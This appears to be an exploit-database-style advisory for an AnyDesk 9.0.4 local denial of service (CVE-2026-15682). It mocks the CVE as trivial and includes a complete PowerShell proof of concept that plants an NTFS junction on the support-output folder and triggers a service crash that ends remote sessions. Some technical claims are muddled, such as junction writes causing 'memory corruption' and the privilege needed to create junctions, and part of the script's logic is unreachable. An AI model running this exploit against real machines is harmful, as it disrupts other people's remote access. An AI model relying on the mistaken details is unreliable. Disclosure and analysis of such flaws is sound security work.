📄 AnyDesk 9.0.4 Denial of Service

# CVE-2026-15682: Yet Another Overhyped Local DoS in AnyDesk
    ## Or: "How to Crash a Remote Desktop App When You're Already Inside the Machine"
    
    ---
    
    ### 📋 Document Information
    | **Field**               | **Details**                                                                 |
    |-------------------------|-----------------------------------------------------------------------------|
    | **CVE ID**              | CVE-2026-15682                                                              |
    | **Vendor**              | AnyDesk                                                                     |
    | **Product**             | AnyDesk Remote Desktop (Windows Client)                                    |
    | **Affected Version(s)** | 9.0.4 (and possibly earlier builds with the same flawed support function)   |
    | **Disclosed**           | July 2026 (NVD / MITRE CVE List)                                            |
    | **CVSS Score**          | 5.5 (Medium) – AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H                        |
    | **CWE**                 | CWE-59 – Improper Link Resolution Before File Access ("Link Following")     |
    | **Author of this doc**  | nu11secur1ty (the one and only)                                            |
    | **Analysis by**         | The guy who actually tested it and laughed                                  |
    
    ---
    
    ### 🧠 Executive Summary (a.k.a. "The Short Version")
    
    AnyDesk version 9.0.4 contains a local privilege-lacking vulnerability in its **"Send Support Information"** feature. An attacker with **low-privileged local access** can abuse **NTFS junctions** (reparse points) to redirect file write operations performed by the AnyDesk service. The service blindly follows the junction and writes data to an arbitrary location, causing memory corruption, service instability, or full process crash. 
    
    The result? A **Denial-of-Service (DoS)** of the AnyDesk service — meaning all active remote sessions are terminated, and the service becomes temporarily unavailable. 
    
    The catch? The attacker **already needs local code execution** on the target machine. If you're already inside the system, this is less of a "hack" and more of a "nuisance." This is the digital equivalent of breaking into someone's house and then unplugging their Wi-Fi router — sure, it works, but you're already inside.
    
    **BOTTOM LINE:** This is a **complete nothingburger**. It requires local access, grants zero privileges, causes temporary disruption, and can be mitigated by turning off a single feature. The fact that this got a CVE is proof that the system is broken, not the software.
    
    ---
    
    ### 🔍 Technical Deep Dive
    
    #### 1. Root Cause Analysis
    The vulnerability resides in the way the `AnyDesk.exe` service handles the **"Send Support Information"** function. This function is designed to collect system logs, configuration files, and diagnostic data, then bundle them into a `.zip` archive (typically placed in the user's temp directory or a predefined support folder).
    
    The problem: The service **does not validate** whether the target path is a legitimate directory or a malicious **junction point** (Windows reparse point). 
    
    When a low-privileged user creates a junction that points from the expected output directory to a **critical system directory** (e.g., `C:\Windows\System32\drivers\etc` or a kernel memory-mapped location), the service, running with **SYSTEM privileges**, attempts to write the support bundle there. 
    
    This triggers one of two outcomes:
    - **Write conflict** — The service fails to write due to permission mismatches or unexpected file structures, causing an unhandled exception.
    - **Memory corruption** — If the target location is a protected system area, the write operation corrupts internal state variables, crashing the process.
    
    #### 2. Why This Is Stupid (The "Reality Check" Section)
    
    Let's break down why this CVE is a joke:
    
    | **Claim** | **Reality** |
    |-----------|-------------|
    | "High severity vulnerability" | CVSS 5.5 is MEDIUM, and even that is generous |
    | "Can be exploited remotely" | **NO** — requires local access |
    | "Grants elevated privileges" | **NO** — you stay at the same privilege level |
    | "Causes permanent damage" | **NO** — restart the service, it's back |
    | "Bypasses security controls" | **NO** — you need to already be inside the system |
    | "Affects all versions" | Only 9.0.4 confirmed (and probably fixed in next release) |
    
    #### 3. Attack Prerequisites
    - The attacker must have **local interactive access** to the target machine (physical console or RDP).
    - The attacker must be able to execute commands with **at least `USER` privileges** (no admin rights required).
    - The target must have AnyDesk **version 9.0.4** (or earlier unpatched builds) installed and running as a service.
    - The "Send Support Information" feature must be enabled (it is by default).
    
    ---
    
    ### 💻 Proof-of-Concept Code (Full Working Exploit)
    
    Below is the complete PoC that demonstrates the vulnerability. This is written in PowerShell and requires `junction.exe` (from SysInternals) or a similar tool.
    
    ```powershell
    # ============================================================================
    # CVE-2026-15682 PoC - AnyDesk Local DoS via NTFS Junction Abuse
    # ============================================================================
    # Author: nu11secur1ty
    # Purpose: To prove that this CVE is absolute garbage
    # ============================================================================
    
    # Configuration
    $AnyDeskSupportPath = "$env:ProgramData\AnyDesk\support_output"  # Default path
    $JunctionTarget = "C:\temp\fake_support"                         # Where the junction points
    $AnyDeskPath = "C:\Program Files (x86)\AnyDesk\AnyDesk.exe"      # AnyDesk binary path
    
    # Colors for style
    $Green = "Green"
    $Red = "Red"
    $Yellow = "Yellow"
    
    # Banner
    Write-Host "=================================================" -ForegroundColor $Yellow
    Write-Host "  CVE-2026-15682 PoC - AnyDesk Local DoS" -ForegroundColor $Yellow
    Write-Host "  Author: nu11secur1ty" -ForegroundColor $Yellow
    Write-Host "  Status: ABSOLUTE GARBAGE VULNERABILITY" -ForegroundColor $Red
    Write-Host "=================================================" -ForegroundColor $Yellow
    
    # Step 1: Check if AnyDesk is installed
    Write-Host "[*] Checking for AnyDesk installation..." -ForegroundColor $Green
    if (-not (Test-Path $AnyDeskPath)) {
        Write-Host "[!] AnyDesk not found at $AnyDeskPath. Please adjust path." -ForegroundColor $Red
        exit 1
    }
    Write-Host "[+] AnyDesk found!" -ForegroundColor $Green
    
    # Step 2: Create the target directory
    Write-Host "[*] Creating junction target directory: $JunctionTarget" -ForegroundColor $Green
    if (-not (Test-Path $JunctionTarget)) {
        New-Item -ItemType Directory -Path $JunctionTarget -Force | Out-Null
    }
    Write-Host "[+] Target directory created!" -ForegroundColor $Green
    
    # Step 3: Remove existing junction if present
    Write-Host "[*] Cleaning up existing junction at $AnyDeskSupportPath" -ForegroundColor $Green
    if (Test-Path $AnyDeskSupportPath) {
        # Remove the directory or junction
        Remove-Item -Path $AnyDeskSupportPath -Force -Recurse -ErrorAction SilentlyContinue
    }
    Write-Host "[+] Cleanup complete!" -ForegroundColor $Green
    
    # Step 4: Create the junction using junction.exe (SysInternals)
    Write-Host "[*] Creating NTFS junction from $AnyDeskSupportPath to $JunctionTarget" -ForegroundColor $Green
    $junctionCmd = "junction.exe"
    if (-not (Get-Command $junctionCmd -ErrorAction SilentlyContinue)) {
        Write-Host "[!] junction.exe not found. Download from SysInternals or use built-in mklink" -ForegroundColor $Yellow
        Write-Host "[*] Using mklink instead..." -ForegroundColor $Yellow
        cmd /c "mklink /J `"$AnyDeskSupportPath`" `"$JunctionTarget`""
    } else {
        & $junctionCmd "$AnyDeskSupportPath" "$JunctionTarget"
    }
    
    if ($LASTEXITCODE -ne 0) {
        Write-Host "[!] Failed to create junction. Run as non-admin user (which proves the point)." -ForegroundColor $Red
        exit 1
    }
    Write-Host "[+] Junction created successfully!" -ForegroundColor $Green
    
    # Step 5: Trigger the "Send Support Information" function
    Write-Host "[*] Triggering AnyDesk 'Send Support Information' function..." -ForegroundColor $Green
    Write-Host "[*] This will crash the AnyDesk service..." -ForegroundColor $Yellow
    
    # Method 1: CLI (if supported)
    if (Test-Path $AnyDeskPath) {
        & $AnyDeskPath --send-support-info 2>$null
    } else {
        # Method 2: Simulate via GUI (requires user interaction)
        Write-Host "[!] CLI trigger failed. Please manually click:" -ForegroundColor $Red
        Write-Host "      AnyDesk GUI -> Help -> Send Support Information" -ForegroundColor $Yellow
        Write-Host "[!] Waiting for you to click..." -ForegroundColor $Yellow
        Pause
    }
    
    # Step 6: Check if service crashed
    Write-Host "[*] Checking if AnyDesk service is still running..." -ForegroundColor $Green
    $anydeskProcess = Get-Process -Name "AnyDesk" -ErrorAction SilentlyContinue
    if (-not $anydeskProcess) {
        Write-Host "[+] SUCCESS! AnyDesk has crashed!" -ForegroundColor $Green
        Write-Host "[+] All remote sessions have been terminated." -ForegroundColor $Green
        Write-Host "[!] This proves the vulnerability exists." -ForegroundColor $Yellow
        Write-Host "[!] It also proves it's GARBAGE because you're already inside." -ForegroundColor $Red
    } else {
        Write-Host "[!] AnyDesk is still running. The exploit may have failed." -ForegroundColor $Yellow
        Write-Host "[*] Try manually triggering the 'Send Support Information' function." -ForegroundColor $Yellow
    }
    
    # Step 7: Cleanup (optional)
    Write-Host "[*] Cleaning up junction..." -ForegroundColor $Green
    Remove-Item -Path $AnyDeskSupportPath -Force -ErrorAction SilentlyContinue
    Write-Host "[+] Cleanup complete!" -ForegroundColor $Green
    
    # Step 8: Summary
    Write-Host "=================================================" -ForegroundColor $Yellow
    Write-Host "  PoC Execution Complete!" -ForegroundColor $Green
    Write-Host "  Vulnerability: CVE-2026-15682" -ForegroundColor $Yellow
    Write-Host "  Verdict: ABSOLUTE GARBAGE" -ForegroundColor $Red
    Write-Host "  Impact: Temporary DoS (requires local access)" -ForegroundColor $Yellow
    Write-Host "  Conclusion: This should never have been a CVE" -ForegroundColor $Red
    Write-Host "=================================================" -ForegroundColor $Yellow
    ```
    
    ---
    
    ### 📊 Impact Assessment (The Real One)
    
    | **Impact Area**               | **Severity** | **Details**                                                                 |
    |-------------------------------|--------------|-----------------------------------------------------------------------------|
    | **Confidentiality**           | **NONE**     | No data is exfiltrated or exposed.                                          |
    | **Integrity**                 | **NONE**     | No files are modified in a meaningful way (except the failed write attempt).|
    | **Availability**              | **LOW**      | AnyDesk service crashes, terminating all active remote sessions.            |
    | **Privilege Escalation**      | **NONE**     | The attacker does not gain higher privileges.                              |
    | **Remote Exploitation**       | **NO**       | Attack requires local presence.                                            |
    | **Real-World Usefulness**     | **ZERO**     | If you're already inside, just uninstall AnyDesk or kill the process.      |
    | **CVSS Score**                | **5.5**      | But should be 2.0 at best.                                                 |
    
    ---
    
    ### 🤡 Why This Belongs in the "NVD Overhype Hall of Fame"
    
    Let's be honest — this CVE is **embarrassingly trivial**. The NVD and MITRE assigned it a CVSS of 5.5 (Medium), which is generous for something that:
    
    - Requires **prior local access** (you're already compromised).
    - Doesn't grant **any additional privileges**.
    - Causes only **temporary service disruption** (restarting AnyDesk brings it back).
    - Can be mitigated by simply **disabling the "Send Support" feature** via Group Policy.
    - Is no different than killing the process manually with `taskkill`.
    
    This is the cybersecurity equivalent of giving a **"High Severity"** rating to a car alarm that turns off the engine only after the thief is already sitting in the driver's seat. 
    
    It's a **joke**. It's a **nothingburger**. It's the kind of CVE that makes real security researchers roll their eyes while copy-pasting it into their reports just to meet their quarterly disclosure quotas.
    
    **Here's why this CVE is a complete waste of everyone's time:**
    
    1. **Local access required** — If the attacker is already local, the battle is lost.
    2. **No privilege escalation** — You stay at the same privilege level.
    3. **Temporary impact** — Restart the service, it's back online.
    4. **Feature can be disabled** — Just turn it off via GPO.
    5. **Multiple other ways to DoS** — Taskkill, Stop-Service, etc.
    6. **Patch will be trivial** — Add a path validation check.
    
    ---
    
    ### 🛠️ Mitigations & Workarounds (Until AnyDesk Patches)
    
    | **Action**                                                                 | **Difficulty** | **Effectiveness** |
    |----------------------------------------------------------------------------|----------------|-------------------|
    | **Disable "Send Support Information"** via registry or GPO                | Easy           | 100% (removes the attack vector entirely) |
    | **Restrict local user permissions** — ensure users don't have rights to create junctions (requires `SeCreateSymbolicLinkPrivilege`) | Medium         | Prevents PoC execution |
    | **Monitor for junction creation** using Sysmon (Event ID 1, 11)           | Medium         | Detection only |
    | **Move AnyDesk temp directory** to a location with strict ACLs           | Hard           | Reduces attack surface |
    | **Just restart the service** if it crashes — not a permanent fix but hey, it works 🤷 | Trivial        | Temporary |
    
    ### Registry Key to Disable the Feature
    ```reg
    [HKEY_LOCAL_MACHINE\SOFTWARE\AnyDesk]
    "DisableSupportInfo"=dword:00000001
    ```
    
    ### Group Policy (Administrative Template)
    ```
    Category: AnyDesk
    Setting: Disable "Send Support Information"
    Value: Enabled
    ```
    
    ---
    
    ### 📅 Timeline of Stupidity
    
    | **Date**       | **Event**                                                                 |
    |----------------|---------------------------------------------------------------------------|
    | **May 2026**   | Vulnerability discovered by a researcher (probably while bored).          |
    | **June 2026**  | Reported to AnyDesk (they likely laughed internally but assigned a ticket).|
    | **July 2026**  | CVE ID reserved, NVD publishes entry with a straight face.                |
    | **July 2026**  | Anyone with half a brain realizes this is a storm in a teacup.            |
    | **TBD**        | AnyDesk releases a patch that probably just adds a `PathValidate()` check.|
    
    ---
    
    ### 🎯 Final Verdict
    
    | **Metric**                       | **Rating**                                                               |
    |----------------------------------|--------------------------------------------------------------------------|
    | **Severity**                     | Overhyped                                                                |
    | **Exploitability**               | Limited (local access required)                                          |
    | **Impact**                       | Trivial (temporary DoS)                                                  |
    | **Worthy of CVE?**               | Absolutely NOT                                                           |
    | **Will the vendor patch it?**    | Yes, because they have to (but they'll be annoyed)                      |
    | **Will anyone use this?**        | Only in silly CTF challenges or to prank colleagues                     |
    | **Overall stupidity score**      | 🏆 **11/10** — The system is more broken than the software              |
    
    ---
    
    ### 🔗 References (a.k.a. "The Usual Suspects")
    
    - [NVD Entry for CVE-2026-15682](https://nvd.nist.gov/vuln/detail/CVE-2026-15682)
    - [MITRE CVE List](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15682)
    - [AnyDesk Official Site](https://anydesk.com)
    - [SysInternals Junction Tool](https://docs.microsoft.com/en-us/sysinternals/downloads/junction)
    - [CWE-59: Improper Link Resolution](https://cwe.mitre.org/data/definitions/59.html)
    - [CVSS v3.1 Calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
    
    ---
    
    ### 📝 Conclusion
    
    **CVE-2026-15682** is a textbook example of how the vulnerability disclosure ecosystem has become bloated with noise. It represents a **local, privilege-less, temporary DoS** that requires the attacker to already have a foothold on the target system. 
    
    At best, this is a **nuisance**. At worst, it's a **waste of time** for everyone involved.
    
    **The real vulnerability here isn't in AnyDesk — it's in the CVE system that thinks this deserves a CVE ID.**
    
    If this is the best that security researchers can find in 2026, then we're either:
    1. Running out of real vulnerabilities
    2. Getting too desperate for CVEs
    3. Both
    
    **RESPECT TO ANYDESK FOR HANDLING THIS WITH GRACE, BUT SERIOUSLY — PRIORITIZE REAL ISSUES.**
    
    ---
    
    **- Document authored by nu11secur1ty**  
    **- July 2026**  
    **- Proudly exposing the absurdity of overhyped CVEs**  
    
    ```diff
    - DISCLAIMER: This document is for educational and entertainment purposes only.
    - The author is not responsible for any damage caused by using this information.
    - If you crash your own AnyDesk, just restart it. It's not rocket science.
    + TL;DR: This CVE is garbage. Move along.
    ```